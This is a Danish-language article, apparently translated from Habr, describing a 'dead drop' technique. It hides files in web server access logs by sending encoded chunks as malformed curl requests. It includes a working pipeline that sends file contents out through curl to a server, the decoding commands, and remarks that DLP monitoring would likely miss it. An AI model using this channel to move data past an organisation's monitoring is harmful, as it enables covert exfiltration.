Udveksling af hemmelige beskeder via serverlogfiler

Ifølge Wikipedia-definitionen er en dead drop et konspirationsværktøj, der tjener til at udveksle information eller nogle genstande mellem mennesker ved hjælp af en hemmelig placering. Tanken er, at folk aldrig mødes – men de udveksler stadig information for at opretholde driftssikkerheden.

Gemmestedet skal ikke vække opmærksomhed. Derfor bruger de i offlineverdenen ofte diskrete ting: en løs mursten i væggen, en biblioteksbog eller en hulning i et træ.

Der er mange krypterings- og anonymiseringsværktøjer på internettet, men selve det faktum at bruge disse værktøjer tiltrækker opmærksomhed. Derudover kan de blive blokeret på virksomheds- eller regeringsniveau. Hvad skal man gøre?

Udvikler Ryan Flowers foreslog en interessant mulighed - bruge enhver webserver som et gemmested. Hvis du tænker over det, hvad gør en webserver? Modtager anmodninger, udsteder filer og skriver logs. Og det logger alle anmodninger, selv forkerte!

Det viser sig, at enhver webserver giver dig mulighed for at gemme næsten enhver besked i loggen. Blomster spekulerede på, hvordan man bruger dette.

Han tilbyder denne mulighed:

  1. Tag en tekstfil (hemmelig besked) og beregn hashen (md5sum).
  2. Vi koder det (gzip+uuencode).
  3. Vi skriver til loggen ved hjælp af en bevidst forkert anmodning til serveren.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

For at læse en fil skal du udføre disse handlinger i omvendt rækkefølge: afkode og udpak filen, tjek hashen (hashen kan sikkert overføres over åbne kanaler).

Mellemrum erstattes med =+=så der ikke er mellemrum i adressen. Programmet, som forfatteren kalder CurlyTP, bruger base64-kodning, ligesom e-mail-vedhæftede filer. Anmodningen er lavet med et nøgleord ?transfer?så modtageren nemt kan finde den i loggene.

Hvad ser vi i logfilerne i dette tilfælde?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Som allerede nævnt, for at modtage en hemmelig besked skal du udføre handlingerne i omvendt rækkefølge:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Processen er nem at automatisere. Md5sum matcher, og indholdet af filen bekræfter, at alt var afkodet korrekt.

Metoden er meget enkel. "Pointen med denne øvelse er blot at bevise, at filer kan overføres gennem uskyldige små webanmodninger, og det virker på enhver webserver med almindelig tekstlogfiler. I bund og grund er enhver webserver et gemmested!” skriver Flowers.

Metoden virker naturligvis kun, hvis modtageren har adgang til serverlogfiler. Men sådan adgang leveres for eksempel af mange hostere.

Sådan bruges det?

Ryan Flowers siger, at han ikke er en informationssikkerhedsekspert og vil ikke udarbejde en liste over mulige anvendelser for CurlyTP. For ham er det blot et proof of concept, at de velkendte værktøjer, vi ser hver dag, kan bruges på en utraditionel måde.

Faktisk har denne metode en række fordele i forhold til andre server "skjuler" som Digital Dead Drop eller PirateBox: det kræver ikke speciel konfiguration på serversiden eller nogen specielle protokoller - og vil ikke vække mistanke hos dem, der overvåger trafikken. Det er usandsynligt, at et SORM- eller DLP-system vil scanne URL'er for komprimerede tekstfiler.

Dette er en af ​​måderne til at transmittere beskeder gennem servicefiler. Du kan huske, hvordan nogle avancerede virksomheder plejede at placere Udviklerjob i HTTP-headere eller i HTML-sidernes kode.

Udveksling af hemmelige beskeder via serverlogfiler

Tanken var, at kun webudviklere ville se dette påskeæg, da en normal person ikke ville se på overskrifterne eller HTML-koden.

Udveksling af hemmelige beskeder via serverlogfiler

Kilde: www.habr.com

Tilføj en kommentar